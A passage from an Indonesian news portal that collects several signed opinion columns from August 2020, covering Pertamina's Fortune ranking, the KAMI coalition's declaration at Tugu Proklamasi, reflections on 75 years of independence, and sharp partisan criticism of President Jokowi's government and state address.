perusahaan membaik dengan sendirinya. Kemampuan membayar kewajiban kepada investor juga membaik, dan lain sebagainya. Barangkali dalam hal ini publik bertanya tanya, apakah Majalah FORTUNE tidak tahu bahwa piutang Pertamina adalah kepada pemegang saham 100% Pertamina, yaitu pemerintah? Apakah Majalah FORTUNE pemberi peringkat ini tidak tahu bahwa piutang itu kepada pemegang kuasa yang menjamin kelangsungan Pertamina? Bisa saja Majalah FORTUNE tahu. Namun mereka juga tidak yakin, bahwa di masa pandemi ini Pemerintah Indonesia bisa punya uang banyak. Akibatnya, pemerintah tidak mampu membayar utang kepada Pertamina. Publik nasional dan internasional tahu bahwa Pemerintah Indonesia sedang mengalami pendarahan keuangan yang lumayan berat. Wallahualam. Tentang Majalah FORTUNE Fortune adalah sebuah majalah bisnis global yang diterbitkan oleh Fortune|Money Group, milik Time Inc. Didirikan oleh Henry Luce pada tahun 1930. Bisnis penerbitan yang terdiri dari Time, Life, Fortune, dan Sports Illustrated ini tumbuh menjadi Time Warner. Hasilnya, AOL tumbuh ketika mengambil alih Time Warner tahun 2000. Ketika itu Time Warner adalah konglomerat media terbesar di dunia. Pesaing utama FORTUNE dalam kategori majalah bisnis nasional adalah Majalah FORBES, yang juga diterbitkan dwimingguan, dan Majalah BusinessWeek. Majalah FORTUNE ini dikenal khusus, karena setiap tahunnya menerbitkan peringkat perusahaan-perusahaan menurut laba mereka. Penulis adalah Peneliti Pada Asosiasi Ekonomi dan Politik Indonesia (AEPI).

Deklarasi "Tugu Proklamasi"

by M Rizal Fadillah Jakarta FFN – Selasa (18/08). Hari ini 18 Agustus 2020 ada sejarah baru, yakni Deklarasi Koalisi Aksi Menyelamatkan Indonesia (KAMI). Rangkaian kegiatan deklarasi dilakuasanakan di Tugu Proklamasi, Jalan Pegangsaan Timur Jakarta. Waktu menuju Deklarasi berjalan. Persiapan telah rampung tinggal pelaksanaan saja. Peserta Deklarasi akan atau telah berdatangan. Siap untuk mengikuti acara pokok pembacaan Maklumat KAMI. Kegiatan ini memang bukan aksi mahasiswa. Akan tetapi aksi para tokoh dari berbagai elemen bangsa. Mdereka resah dengan situasi bangsa saat ini, yang sedang menuju sebagai negara gagal. Mereka umumnya berasal dari berbagai latar belakang, baik profesional, ulama, purnawirawan TNI, aktivis pergerakan, serta akademisi. Sebagian besar dari mereka dikenal sebagai tokoh-tokoh politik nasional, bahkan internasional. Ini merupakan fenomena baru. Terhitung sejak masa Soeharto dulu menjelang kejatuhannya. Peristiwa yang dikenal dengan Kelompok Kerja Petisi 50. Para anggota Petisi 50 terdiri dari berbabagi elemen masyarakat. Umunya purnawirawan TNI seperti Jendral (Purn.) Abdul Haris Nasution, Letjen Marinir (Purn.) Ali Sadikin, Letjen TNI (Purn.) HR. Dharsono, A.M Fatwa, Chrisa Siner Timmu dan lain-lain. Ada nilai strategis dari Deklarasi "Tugu Proklamasi" ini, yaitu : Pertama, berhimpun para tokoh dalam wadah koalisi menyatukan kekuatan yang asalnya berceraian. Tokoh-tokoh mana dikenal kritis dan korektif terhadap berbagai kebijakan Pemerintah yang dinilai bertentangan dengan Pancasila dan UUD 1945. Tokoh (political figure) adalah kekuatan infrastruktur politik yang berpengaruh. Kedua, deklarasi dilaksanakan pada tanggal 18 Agustus 2020 untuk mengenang sekaligus membangun dasar pemberangkatan. Bahwa tanggal 18 Agustus 1945 adalah hari penetapan Pancasila sebagai ideologi negara dan UUD 1945 sebagai konstitusi negara. Semangat KAMI adalah kembali ke landasan Pancasila dan UUD 1945. Bukan yang disimpangkan atau telah diselewengkan. Misalnya, Pancasila 1 Juni 1945. Ketiga, deklarasi KAMI adalah komitmen awal dan konsolidasi untuk memulai agenda menyelamatkan Indonesia. Menyelamatkan negara yang hancur dan hampir tenggelam, sebagai akibat perilaku penyelenggara negara yang dinilai telah keluar dari rel cita cita tujuan mulia kita untuk berbangsa dan bernegara. Kondisi ekonomi, sosial, politik dan lainnya yang dirusak oleh kepentingan pragmatik dan koruptif. Penguasa negara yang dirusak oleh gerombolan oligarkis, korporasi dan konglomerasi licik, picik, tamak dan culas. Mereka tidak pernah merasa puas dengan menghisap darah rakyat melalui pembentukan berbagai peraturan perundang-undangan yang hanya berpihak kepada oligarkis, korporasi dan konglomerasi. Bukan yang berphak kepada rakyat atau kelompok UMKM (Usaha Menengah Kecil dan Mikro). Keempat, deklarasi menjadi sacara penyambung aspirasi rakyat yang tersumbat, karena tidak mau lagu didengar oleh DPR. Padahal rakyat telah berkeinginan untuk terjadinya perubahan pada segala bidang kehidupan, baik ekonomi, sosial, dan politik ke arah yang lebih baik. Melepas suasana "terjajah" untuk menjadi lebih merdeka di segala bidang. Tapat pada usia 75 tahun kemerdekaan lalu. Tugu Proklamasi adalah tempat pernyataan kemerdekaan dan semangat pemindahan segera kekuasaan "dalam tempo yang sesingkat-singkatnya". Koalisi aksi yang dilakukan oleh KAMI tentu saja bukan basa basi. Namun bukan pula subversi. Ada aksi moral nyata yang ditunggu-tunggu rakyat dalam rangka menyelamatkan bangsa dan negara Indonesia. KAMI yang memulai, KAMI juga yang mengakhiri, dan KAMI yang memulihkan Negeri. Para Deklarator tentu saja memiliki spirit perjuangan sebagaimana para pejuang kemerdekaan dahulu, yaitu “MERDEKA atau MATI”...! Penulis adalah Pemerhati Politik dan Kebangsaan.

Merawat Marwah Proklamasi

by Zainal Bintang Jakarta FNN – Senin (17/08). Perayaan Hari Ulang Tahun Proklamasi Kemerdekaan Republik Indonesia yang ke 75 tahun ini lain dari sebelumnya. Penyebabnya negara digelantungi dua masalah besar yang membuat masyarakat terbelah dua. Pertama, belum pulihnya konflik politik di tataran masyarakat sebagai residu pertarungan panas dua kubu pada masa kampanye Pemilu 2019. Yang kedua, adanya serangan mendadak wabah Covid 19 sejak bulan Maret 2020… Berbagai undang -undang yang dihasilkan oleh lembaga pembuat perundang-undangan (eksekutif dan legislatif) itu kelahirannya terindikasi “dipaksakan” dengan menegasikan aspirasi rakyat. Setidaknya ada dua UU sebagai contoh soal. Yang pertama UU No.19 Tahun 2019 hasil revisi UU KPK dan UU No.2 Tahun 2020 sebagai anak kandung dari Perppu No.1 Tahun 2020. Kelahiran kedua UU tersebut telah membuka jurang pemisah yang lebar antara pemerintah dengan masyarakat sipil kritis di luar pemerintahan. Terjadi ketegangan terbuka ke ruang publik, antara aktor negara berhadapan dengan warga negara non struktural. Ekses daripada konflik inilah yang membuat skenario mitigasi penanggulangan Pandemi Covid 19 kembang kempis. Aktor negara terlihat gamang. Skenario mitigasi Pandemi Covid 19 memerlukan payung hukum yang baru. Payung hukum yang cacat hukum itulah sumber konflik yang mendorong lahirnya “perlawnan”. Masyarakat civil society beranggapan, pruduk perundang-undangan yang dibuat pemerintah dan DPR hanya menyelamatkan oligarki, korporasi dan konglomerasi licik, picik, culas dan tamak. Bukan untuk menyelamat kementingan rakyat. Jauh dari tujuan bernegara. “Perlawanan” warganegara yang menganggap kedua UU itu cacat yuridis berlanjut ke MK (Mahkamah Konstitusi). Tetapi hasilnya nol. Menghadapi jalan buntu di jalur hukum di MK, Din Syamsuddin bersama mantan Panglima TNI Jenderal TNI AD (Purn.) Gatot Nurmantiyo dan Rizal Ramli plus Rachmawati Soekarno untuk menyebut beberapa nama tokoh, melangkah menggagas pembentukan wadah berhimpun yang diberi nama KAMI (Koalisi Aksi Menyelamatkan Indonesia). Koalisi ini didukung sejumlah tokoh yang berjumlah 150 orang. Mereka datang dari berbagai latar belakang usia dan profesi. Ada dari kalangan politisi, penguasa, mantan aktivis, pegiat hak azasi manusia, ekonom, toko agama seperti ulama dan habaib. Wadah berhimpun intelektual diberi nama KAMI (Koalisi Aksi Menyelamatkan Indonesia) itu telah dimulai sosialisasinya pada hari Minggu (02/08) di Jakarta. Sebuah akronim simbolik mengingatkan gerakan mahasiswa yang menjatuhkan Presiden Soekarno tahun 1965/1966. Koalisi ini merencanakan mengadakan juga acara peringatan HUT RI ke -75 pada 18 Agustus 2020. Pilihan tanggal itu, selain tampak berbeda dengan pemerintah, juga sebagai pernyataan sikap tegas hari lahir Pancasila. Bahwa Pancasila yang benar itu adalah lahir pada tanggal 18 Agustus 1945. Bukan Pancasila 1 Juni 1945, seperti yang diputuskan oleh Pemrintah melalui Keputusan Presiden. Lalu, bagaimana membaca peta mutakhir konstalasi politik Indonesia hari ini? Sebagai sebuah bahan renungan, menarik untuk membaca ulang buah fikiran Henry David Thoreau. Penulis dan filsuf Amerika (1817 – 1862) yang terkenal dengan karyanya berjudul “Civil Disobedience” atau “Pembangkangan Sipil”. Thoreau yang dikenal pada zamannya gencar mengkritik kebijakan sosial Amerika, terkait dengan perbudakan dan Perang Meksiko-Amerika. Dia memulai esainya dengan menyatakan, “pemerintah sangat jarang membuktikan dirinya berguna bagi umat manusia secara universal. Pemerintah memperoleh kekuasaannya dari mayoritas karena mereka adalah kelompok terkuat dalam aspek tertentu. Bukan karena mereka memegang sudut pandang yang paling ideal , yaitu bertanggungjawab bagi umat manusia”. Hari ini di Indonesia, apa yang dilakukan pemerintah dan yang dilakukan masyarakat sipil di luar pemerintah, sesungguhnya mempunyai tujuan yang sama. Untuk “merawat marwah proklamasi”. Proklamasi yang sederhana 75 tahun yang lalu itu, sejatinya bertenaga besar. Memiliki daya tendang yang melampaui zaman. Karena proklamasilah maka ada Pancasila sebagai ideologi. Karena proklamasilah, maka tersusun konstitusi. Karena proklamasilah maka ada Republik ini, sampai hari ini. Masih sekitar pemikiran Thoreau, dia dengan tegas menyebutkan, “kewajiban pertama rakyat adalah melakukan apa yang mereka yakini benar dan tidak mengikuti hukum yang ditentukan oleh mayoritas atau otoritas. Ketika pemerintah tidak adil, orang harus menolak untuk mengikuti hukum, menjauhkan diri dari pemerintah secara umum”. Lanjut dikatakannya, “seseorang tidak berkewajiban mengabdikan hidupnya untuk menghilangkan semua kejahatan di dunia, tetapi berkewajiban untuk tidak berpartisipasi dalam bentuk-bentuk kejahatan. Ini termasuk tidak menjadi anggota lembaga yang tidak adil (seperti pemerintah, atau lembaga negara)”. Thoreau secara ideologis memisahkan dirinya dengan pemerintah, "mencuci tangannya" dan menolak berpartisipasi dalam lembaga-lembaga negara. Dikatakan oleh Thoreau bahwa, “bentuk protes ini lebih disukai untuk mengadvokasi reformasi dalam pemerintahan”. Ditegaskan, “seseorang tidak dapat melihat pemerintah apa adanya ketika seseorang bekerja berpartisipasi di dalamnya”. Menurut Thoreu, "that government is best which governs least". Hal itu mengandung hakekat, “pemerintahan itu adalah yang terbaik, yang mengatur paling sedikit”. Memang, kata Thoreau, manusia suatu saat dapat memiliki pemerintahan yang tidak memerintah sama sekali. Karena itu, pemerintah jarang terbukti bermanfaat atau efisien. Ini sering "disalahgunakan, dan diselewengkan" sehingga tidak lagi mewakili kehendak rakyat. Perang antara Meksiko-Amerika mengilustrasikan fenomena ini. Thoreau berpendapat. “dalil mayoritas, pada demokrasi menjawab keinginan kelompok terkuat. Bukan yang paling berbudi luhur atau bijaksana. Pemerintah didirikan pada prinsip ini tidak dapat didasarkan pada keadilan. Pemerintahan tidak bisa menentukan apa itu benar salah, karena seharusnya tidak diputuskan oleh mayoritas tetapi oleh hati nurani”. Gagasan Din Syamsuddin dan kawan-kawan membentuk KAMI adalah sebuah langkah membuka ruang koreksi yang konstruktif. Uluran tangan merawat marwah proklamasi. Untuk menjaga proses demokratisasi. Hendaknya dilihat tetap berada di jalur dengan semangat yang menghormati konstitusi. Pemerintah tidak boleh terjebak di dalam lorong gelap represif. Sejatinya kita semua seyogyanya bisa tersenyum. Karena di luar Istana masih ada sumber oksigen yang dapat membantu merawat kesegaran wangi demokrasi. Pemerintah tidak boleh menari di gendang pecundang yang tidak pernah rela melihat negeri besar ini aman, harmonis, kompak dan tenteram. Mereka itu para “rent seekers” yang berjubah “nabi”. Dari Karet Bivak tempat pemakaman penyair legendaris Chairil Anwar, sayup-sayup terdengar penggalan puisinya yang berjudul “Kerawang-Bekasi”. Gaung puisinya itu menderu diantara debu dan deru jalanan : Teruskan, teruskan jiwa kami – Menjaga Bung Karno - menjaga Bung Hatta – menjaga-Bung Sjahrir - Kami sekarang mayat – Berikan kami arti – Berjagalah terus di garis batas pernyataan dan impian – Kenang, kenanglah kami yang tinggal tulang-tulang diliputi debu Beribu kami terbaring antara Karawang-Bekasi….!!! Selamat HUT Prokamasi RI ke 75. Dirgahayu Bangsa Indonesia Penulis adalah Wartawan Senior dan Pemerhati Sosial Budaya.

Ah, Dasar Boneka!

by Tony Rosyid Jakarta FNN – Senin (17/08). Merdeka! Pekiknya terasa di dada. Menggetarkan dan masuk ke setiap nurani anak bangsa. Pada saat itu. Iya, saat itu saat dimana rakyat menjelma jadi pejuang. Berjuang untuk nasib bangsa dan anak cucunya di masa depan. Itulah jejak para pahlawan. Darah dan nyawa jadi taruhan. Ketulusan dan integritas adalah persoalan utama yang mereka pertahankan dan perjuangkan. Sampai akhirnya, ujung usia memanggil mereka. Tapi, warisan kemerdekaan telah terhidang. Merdeka! Terdengar, tapi tak lagi menggetarkan. Jelas suaranya, tapi samar maknanya. Lantang, tapi tak lebih dari sekedar slogan. Itulah kata "Merdeka" pada hari ini. Kata “Merdeka” bukan lagi digunakan untuk melawan penjajah. Tapi seringkali untuk dipakai untuk membungkam siapa saja anak bangsa yang meneriakkan kebenaran. Merdeka! Dor! Satu persatu mayat bertumbangan. Ada mahasiswa. Namun ada remaja atau anam SMA yang sedang belajar menemukan demokrasi di lapangan. Ada pemuda yang tak lagi punya harapan, karena tak bisa pulang dan tak ditemukan dimana keberadaannya. Merdeka! Begitulah mulutnya para penipu negara ini yang tidak kalah fasih untuk melafazkan. Hilang segan, dan rasa malu telah terbungkam. Gemerlap nafsu dan syahwat kekuasaan tampak sangat transparan menguasai setiap kebijakan yang dibuat. Ada panggung depan, ada panggung di belakang. Kata "Merdeka" diteriakan, mesti pada makna sama, tapi beda dalam tekanan. Lakon di panggung belakang lebih mengerikan dari panggung depan. Itulah dramaturgi para preman. Di atas panggung politik, para penipu berteriak merdeka. Diam-diam, di panggung belakang mereka merampok dan habiskan kekayaan negara. Supaya legal, aturan perundang-undangan dimanipulasinya sesuai dengan kehendak mereka. Kadang mengatasnamakan pinjaman. Ada juga dibalik hutang, bahkan permainan upeti dijadikan lahan. Mereka kerahkan para petugas. Petugas ini petugas itu. Ada yang rapi dan berseragam. Punya jabatan dan pangkat yang luar biasa tingginya. Tak sedikit dari mereka yang berpakaian preman. Sebagian dibekali dengan aturan. Sebagian yang lain berperan menyandera dan menekan. Merdeka! Katanya sama, tapi punya getaran yang berbeda. Sangat gergantung kepada siapa yang meneriakkan kata itu. Mereka pahlawan, atau gerombolan para preman. Diucapkan demi bangsa, atau untuk memenuhi ambisi dan keserakahan mereka. Preman-preman itu terus bergentayangan di negeri ini. Memburu dan berebut warisan kemerdekaan yang ditinggalkan para Pahlawan. Siapa yang tak ikut? Sebab beramai-ramai akan disingkirkan. Mereka berada pada semua strata kekuasaan negara. Ada preman besar, ada preman kecil. Preman kakap dan preman teri. Preman kelas berdasi, sampai preman upeti. Bergantung peran dan bagian. Preman besar isinya para pemodal. Kerjanya membeli suara dan mengendalikan para boneka. Para boneka tak lagi sempat berpikir negara dan bangsa. Karena habis waktu dan sibuk membenahi kursi dan dasi. Setiap 17 Agustus mereka pura-pura teriak merdeka. Padahal rakyat semakin miskin, terpuruk dan menderita. Ah, dasar boneka! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Setelah 75 Tahun, Rakyat Masih Antri di Gerbang Kemerdekaan

by Asyari Usman Jakarta FNN – Senin (17/08). Di bagian pembukaan UUD 1945, ada tertulis pengantar tentang perjuangan yang berdarah-darah. Yaitu, jihad rakyat untuk merebut kemerdekaan akhirnya mencapai hasil gemilang. Penjajahan dilenyapkan. Tapi, bagaimanakah kondisi rakyat saat ini? Sudahkah masalah kemiskinan dan ketidakadilan terhapuskan? Mari kita simak pengantar di pembukaan UUD 1945 itu. Bagian di bawah ini sangat penting dan menarik untuk dibicarakan di hari peringatan 75 kemerdekaan RI. “Dan perjuangan pergerakan kemerdekaan Indonesia telah sampailah kepada saat yang berbahagia dengan selamat sentosa mengantarkan rakyat Indonesia ke depan pintu gerbang kemerdekaan negara Indonesia yang merdeka, bersatu, berdaulat, adil dan makmur.” Begitulah alinea (paragraf) kedua pembukaan UUD kita. Alinea ini menunjukkan kelegaan para pejuang dan pendiri NKRI. Kemerdekaan akhirnya tercapai. Tapi, bagaimana dengan keadilan? Apa yang terjadi dengan kemakmuran? Belum lagi soal kedaulatan dan persatuan. Hari ini, kita fokuskan saja perhatian ke soal keadilan dan kemakmuran. Sebab, dua hal inilah yang menjadi tujuan kemerdekaan itu. Di masa penjajahan, dua hal ini sengaja mereka tiadakan. Supaya penjajahan tetap bertahan. Sayangnya, logika kemerdekaan yang diproklamasikan pada 17 Agustus 1945, sebagaimana digariskan di alinea kedua pembukaan UUD 1945 itu, masih jauh dari kenyataan. Keadilan tak dinikmati oleh seluruh rakyat. Lebih-lebih lagi kemakmuran. Segelintir orang mungkin telah merasakan keadilan. Dan segelintir lainnya telah menikmati kemakmuran. Bahkan supermakmur. Namun, “segelontor” lainnya rakyat Indonesia masih bekerja keras mencari di mana letak kedua janji kemerdekaan itu. Masih belum ketemu juga. Tapi, setelah alinea kedua UUD 1945 dibaca ulang, barulah ketahuan masalahnya. Rupanya, sebagian besar rakyat Indonesia masih berada di “pintu gerbang” kemerdekaan. Belum bisa masuk ke hamparan kemerdekaan itu. Sebab, puluhan juta hektar hamparan itu sedang dikontrak HGU jangka panjang oleh beberapa orang yang diberi prioritas. Kelihatanya, kontrak itu baru akan berakhir 75 tahun lagi. Begitu juga keadilan. Seluruh ruang keadilan hukum juga dikontrak jangka panjang oleh beberapa ratus penyewa gedung-gedung pengadilan rendah dan tinggi. Mereka adalah para penyewa gedung hukum yang mampu memberikan profit besar. Rakyat kebanyakan dimohon bersabar menunggu di “pintu gerbang” kemerdekaan. Kapan-kapan akan dipanggil. Simpan dulu nomor antriannya. Begitu juga keadilan sosial. Rakyat harus menunggu di “pintu gerbang”. Belum bisa masuk semuanya. Sebab, dana keadilan sosial sedang dipakai untuk mengaspal jalan menuju komplek para elit dan cukong. Begitulah kisah rakyat Indonesia. Masih terus berdiri di pintu gerbang kemerdekaan. Belum boleh masuk setelah menanti 75 tahun lamanya. Bersabarlah. Sampai hari ini mesin GPS Google Map untuk pencarian keadilan dan kemakmuran masih menampilkan koordinat terbatas. Ketika Anda tulis kata “keadilan dan kemakmuran”, yang keluar hanya Istana, KSP, kantor para menteri, BUMN, Sinar Mas, Podomoro, Agung Sedayu, Summarecon, Tommy Winata, James Riady, rekening gendut, Fadjroel Rahman, Ngabalin, Wiranto, Luhut, dan segelintir penikmat lainnya. Boleh jadi Anda akan mendapat giliran setelah proklamasi kemerdekaan berikutnya. Berjuanglah terus agar alinea kedua UUD 1945 itu menjadi milik Anda. Penulis adalah Wartawan Senior FNN.co.

Sudahkah Kita Merdeka?

by M. Nigara Jakarta FNN – Senin (17/08). Pagi ini, pekik merdeka berkumandang di seantero tanah air. Bukan hanya dari kita manusia yang masih hidup, tapi jika diizinkan Allah, pekik merdeka itu juga pasti dikumandangkan oleh mereka para pahlawan. Pahlawan yang bertarung sejak 1908, 1928 bahkan para pahlawan jauh sebelum itu. Dan tentu pula pahlawan di tahun 1945 yang akhirnya berhasil memproklamirkan kemerdekaan bangsa Indonesia. Kemerdekaan dunia yang seharusnya bisa dirasakan anak-cucu para pehlawan itu sekarang. Tidak, pasti tidak hanya mereka. Masih berjuta pahlawan lain yang memekik kemerdekaan. Malah, hingga kemarin bahkan ada pahlawan yang pagi ini baru gugur. Ya, mereka adalag pahlawan untuk keluarga sendiri. Setiap kita adalah calon-calon pahlawan meski untuk lingkungan terbatas. Pertanyaannya, benarkah kita sebagai pribadi sungguh-sungguh telah merdeka? Tak seorang pun yang bisa menjawab kecuali diri kita sendiri. Sungguh, jawabannya sangat sederhana dan kasat mata bisa kita lihat dan rasakan. Merdekakah kita, ketika hati ini bergolak, marah, saat melihat kesuksesan orang. Merdekakah kita? Jika lisan kita masih asyik memaki dan memfitnah orang. Merdekakah kita? Jika setiap desah napas terus menebar kebohongan. Merdekakah kita? Saat kedengkian masih memeluk erat hati kita. Merdekakah kita? Atau, Merdekakah kita saat takut untuk meneriakkan kebenaran? Merdekakah kita saat berpaling dari kesulitan orang? Merdekakah kita, saat terus mengamini kemudaratan? Atau, Merdekakah kita ketika takut kehilangan jabatan? Hari ini, sesungguhnya kita kembali masuk dalam uji kelayakan. Uji kepatutan, dan uji nyali tentang kemerdekaan. Atas nama kata merdeka, sesungguhnya kita sebagai pribadi, jauh dari merdeka. Entah dimana kemerdekaan itu? Hari ini, sesungguhnya kita kembali diuji untuk berani sungguh-sungguh meraih kemerdekaan itu sendiri. Sebelum ajal memerdekakan kita dari merdeka di dunia. Karena kemerdekaan yang hakiki, justru pada saat ruh dan raga kita mulai berpisah. Saat kita dan seluruh yang kita cintai berpisah. Saat seluruh yang telah kita capai dan kita miliki apa apapun itu, juga berpisah. Kemerdekaan yang sesungguhnya baru akan kita raih, jika kita bisa tersenyum dan bahagia ketika menyambut malaikat Munkar dan Nakir. Teruslah berusaha meraih kemerdekaan.... Selamat ulang tahun RI-75..Merdeka!!!! Penulis adalah Wartawan Senior.

Hancurnya Pidato Kenegaraan Presiden

by Gde Siriana Yusuf Jakarta FNN – Senin (17/08). Jum'at 14 Agustus 2020 lalu, Jokowi menyampaikan pidato kenegaraan Sidang Tahunan di hadapan anggota MPR RI, di kompleks Parlemen Gedung DPR/MPR. Sayangnya hanya memberikan harapan hampa. Pidato yang penuh dengan hayalan, bakan masuk katagori halusinasi. To the point, bagi saya, pidato kenegaraan Jokowi adalah pidato kenegaraan terburuk yang pernah saya dengar di negeri ini. Bukan hanya sangat normatif dan tidak punya visi. Tetapi juga sangat miskin dengan literasi. Juga miskin dalam pilihan diksi dan tidak inspiratif. Saya akan membahasnya satu per satu. Miskin dalam pilihan diksi. Karena Jokowi menggunakan kata "membajak" momentum krisis untuk mencapai lompatan kemajuan. Ini sangat aneh menggunakan kata membajak untuk memanfaatkan momentum krisis menjadi sebuah peluang kemajuan. Dalam diskusi kecil dengan staf kedubes asing, sang diplomat menyatakan bingung kata english apa yang paling tepat dipakai untuk translasi kata membajak? Seharusnya yang digunakan adalah "to take advantage" atau "to convert" sehingga maknanya menjadi mengubah atau memanfaatkan momentum krisis untuk lompatan kemajuan. Persoalan ini bukanlah yang pertama kali terjadi penggunaan diksi yang sangat dangkal. Juga sangat memprihatikan dari ucapan atau pridato kenegaraan presiden. Belum lama ini juga terjadi pada penggunaan diksi sense of crisis (rasa krisis) diterjemahkan sebgai aura krisis. Saya kuatir, para Menteri Jokowi akan melakukan totok aura ke salon kecantikan agar aura krisisnya bisa keluar di wajah mereka. Tanpa Visi, Prioritas dan Harapan Pidato kenegaran Presiden di hadapan para wakil rakyat bukanlah pidato yang biasa-biasa saja. Pidato ini selain menyampaikan capaian negara melalui kerja pemerintah selama satu tahun. Juga menyampaikan evaluasi atas tantangan saat ini. Apa saja yang mau dituju dan dicapai bangsa di masa depan? Dengan berbagai keterbatasan sumber daya yang ada, maka solusi dan visi yang disampaikan pemerintah akan menjadi prioritas kerja yang harus dilakukan oleh jajaran pemerintahan. Selain itu, untuk mendorong tubuhnya partisipasi rakyat. Pidato yang menginspirasi rakyat untuk mendukung visi yang ditetapkan pemerintah. Saya ambil contoh, dengan kondisi krisis dan kelemahan-kelemahan di sektor ekonomi saat ini, pemerintah menyampaikan pidato kenegaraan dengan thema "Membangun Kembali Manufaktur Indonesia". Thema ini akan menjadi haluan dan panduan bagi negara dan rakyat untuk menjalani hati esok yang penuh tantangan. Membangun kembali manufaktur, juga berarti menjadi prioritas negara untuk memperbaiki fundamental ekonomi nasional. Itu juga memberikan harapan rakyat untuk perubahan yang nyata. Harapan bagi para tenaga kerja yang saat ini kena PHK atau dirumahkan. Harapan bagi para petani untuk diserap hasil produksinya oleh manufaktur pertanian. Selian itu, harapan bagi bank untuk memutar kembali kredit usaha di sektor riil yang produktif. Harapan bagi para kontraktor membangun pabrik-pabrik baru. Harapan bagi para ahli IT untuk membangun sistem-sistem dan aplikasi bagi pabrik-pabrik baru tersebut. Dengan pidato normatif presiden, yang tidak berbeda dengan pidato-pidato sebelumnya, apakah memberikan rakyat harapan baru bahwa Indonesia akan keluar dari krisis? Sekaligus juga mengubahnya menjadi peluang melakukan lompatan besar? Saya kira tidak. Jika memilih diksinya saja sudah ngawur, bagaimana dengan isinya? Hancurnya pidato kenegaraan presiden ini sebagai pertanda bahwa, ada krisis pada pemerintah dan rakyat dalam membaca harapan ke depan. Penulis adalah Direktur Eksekutif Indonesia Future Studies (INFUS).

Pak Jokowi Yang Semakin Goyah?

by M. Rizal Fadillah Jakarta FNN – Senin (17/08). Sejak pelantikan, Presiden Jokowi terus-menerus menerima pukulan. Serangan itu, baik dari pendukung Prabowo sebagai pesaing, maupun dari lingkungan internal yang kecewa, dan tak puas dalam menikmati kue kemenangan. Isu kecurangan terus digaungkan meskipun telah mendapat legalitas dari Mahkamah Konstitusi yang menolak gugatan kubu Prabowo. Agak tenang setelah memberi jabatan Menhan kepada Prabowo yang "sok ksatria". Prabowo juga sok berlaga seolah-olah demi persatuan bangsa, sehingga bersedia menjadi "pembantu" Presiden. Kekecewaan para pendukung sangat nyata sampai tidak sedikit yang menggelarinya sebagai "ayam sayur" atau "bermental kacung". Ada pula yang menyebut Prabowo sang macan telah berubah menjadi meong, bahkan cebong. Sementara yang lain menyebutnya sebagai mancan sirkus. Macan hanya untuk menjadi mainan sirkus. Tidak lebih dari itu. Dijanjikan seolah-olah Prabowo akan diberikan kewenangan yang melebihi para jendral pendukung pendukung Jokowi dari awal. Prabowo juga dijanjikan bakal diberikan jabatan Wakil Presiden menggantikan KH, Ma’ruf Amin di tahun pertama pemerintahan berjalan (FNN.co.id, senin 10 Agustus 2020). Rencana tersebut diulas dengan sangat gamblang oleh Wartawan Senior FNN, Tjahya Gunawan dan Pemerhati Politik dan Kebangsaan, Tony Rosyid, juga di Portal Berita FNN di hari yang sama. Sekarang kebijakan pemerintahan Jokowi yang oligarkhis dan otoriter mulai ditunjukkan. Diawali dengan revisi UU KPK yang meski sebagai inisiatif DPR, tapi semua tahu siapa yang berniat melumpuhkannya. Dewan Pengawas yang memiliki kewenangan besar itu berada di bawah "kendali" Presiden. Begitu juga para staf KPK yang diberi status ASN. Mahasiswa melakukan aksi dan perlawanan yang keras. Ini merupakan pukulan awal. UU Minerba, RUU Omnibus Law, serta rencana pemindahan ibukota telah menuai protes. Buruh dan elemen rakyat lainnya berunjuk rasa. Masyarakat menolak dengan keras kebijakan yang ngaco, ngawur dan amburadul tersebut. Setiap produk dari kebijakan Jokowi selalu mendulang kritik, dan protes. Diantaranya unjuk rasa masyarakat, mahasiswa dan buruh. Penolakan tersebut karena kualifikasi manajerial dan kompetensi kepemimpinan lainnya yang lemah dan "ugal-ugalan". Akibatnya, membuat kebijakan yang jauh dan tidak berpedoman pada tujuan serta cita-cita para pendiri bangsa. Padahal cita-cita dan tujuan bernegara itu dapat dibaca dengan sangat jelas di alinea ke empat pembukaan UUD 1945. Pukulan demi pukulan didaratkan kepada pemerintahan Jokowi. RUU HIP dan RUU BPIP adalah cukup telak. Pidato dengan berbaju adat yang "tak nempat" pun dipersoalkan. Terasa bagaikan sebuah karnaval anak-anak Taman Kanak-Kanak. Isi pidatonya yang menuduh agar jangan "sok agamis dan Pancasilais" melayang tak jelas. Padahal dahulu Jokowi sendiri yang menyatakan dengan lantang "Saya Pancasila". Jejak digitalnya masih ada. Pidato karnavalnya itu bicara juga soal memberantas korupsi. Orangpun tertawa terbahak-bahak mendengarkannya. Ketika optimisme digembor-gemborkan, maka rakyat tak percaya pada ramalan yang tak berbasis fakta. Beda tipis antara prediksi dengan halusinasi. Pak Jokowi sedang berhalusinasi. Pandangan myopsis dari Presiden yang diduga tertekan atau stress. Para tokoh nasional yang berhimpun dalam Koalisi Aksi Menyelamatkan Indonesia (KAMI) merasa prihatin dengan kinerja buruk Pemerintahan Jokowi sebagai fenomena baru. Maklumat "Tugu Proklamasi" yang akan dibacakan menjadi "palu godam" yang dapat saja membuat Jokowi bertambah goyah. Bila saja Pak Presiden masih dapat berdiri. Namun posisi berdirinya sudah tidak ajeg lagi, tetapi malah bergerak-gerak "sempoyongan". Kalau sudah begitu, Pak Jokowi, sebaiknya Bapak mundur saja deh. Kurang baik kalau dimundurkan oleh rakyat. Kalau Pak Jokowi mundur dengan sukarela, maka rakyat pasti akan senang dan bahagia. Rakyat akan berterimakasih atas pengorbanan Bapak yang telah memberikan "kado ultah 75 tahun RI" untuk rakyat. Pekik rakyat atas turunnya Bapak..Merdeka...! Penulis adalah Pemerhati Politik dan Kebangsaan.

KAMI Itu Konstitusional

